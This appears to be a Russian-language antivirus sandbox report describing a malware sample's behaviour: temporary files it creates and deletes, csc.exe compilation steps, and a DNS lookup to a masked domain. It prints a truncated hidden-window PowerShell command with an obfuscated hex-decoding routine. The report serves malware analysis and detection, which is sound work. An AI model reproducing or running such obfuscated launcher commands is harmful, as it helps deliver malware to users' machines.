Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function sfe6f2 {param($x95cebe)$o7486c9='d8c427';$h4bca99='';for ($i=0; $i -lt $x95cebe.length;$i+=2){$b61e4=[convert]::ToByte($x95cebe.Substring($i,2),16);$h4bca99+=[cha...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\-6auw8zm.0.cs
- %TEMP%\-6auw8zm.cmdline
- %TEMP%\-6auw8zm.out
- %TEMP%\csc162a.tmp
- %TEMP%\res163a.tmp
- %TEMP%\-6auw8zm.dll
Удаляет следующие файлы
- %TEMP%\res163a.tmp
- %TEMP%\csc162a.tmp
- %TEMP%\-6auw8zm.pdb
- %TEMP%\-6auw8zm.0.cs
- %TEMP%\-6auw8zm.cmdline
- %TEMP%\-6auw8zm.out
- %TEMP%\-6auw8zm.dll
Сетевая активность
UDP
- DNS ASK ra###ech.club
Другое
Создает и запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-6auw8zm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES163A.tmp" "%TEMP%\CSC162A.tmp"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-6auw8zm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES163A.tmp" "%TEMP%\CSC162A.tmp"
